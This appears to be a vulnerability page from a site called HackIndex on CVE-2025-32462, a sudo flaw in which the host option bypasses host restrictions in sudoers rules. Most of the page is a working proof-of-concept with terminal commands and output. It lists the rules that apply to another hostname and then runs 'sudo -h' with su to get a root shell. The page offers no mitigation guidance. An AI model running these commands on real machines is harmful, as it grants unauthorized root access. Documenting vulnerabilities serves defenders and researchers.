Skip to content
HackIndex logo

HackIndex

CVE-2025-32462:
Sudoers Host Escape

Published: Feb 21, 2026
High
AuthZ

CVE-2025-32462 is a logic flaw in sudo where host-based rules in sudoers can be bypassed: by abusing the --host (-h) behavior, a user who is allowed sudo on one host can end up running commands even when the rule’s host field doesn’t match the current machine. This can cause unauthorized command execution and privilege escalation in environments that rely on hostname restrictions (especially with shared/centralized sudoers policies).

Privesc Sudo

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

In order to exploit this sudo host parameter we need a domain. Search the system for local domains you can use and try the following:

┌──(kali㉿kali)-[~]
└─$ sudo -l -h $DOMAIN 
Matching Defaults entries for $USER on $DOMAIN:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User $USER may run the following commands on offramp:
    (root) NOPASSWD: ALL

This shows us we can run anything as root within that host like:

┌──(kali㉿kali)-[~]
└─$ sudo -h $DOMAIN su 
# whoami
root

References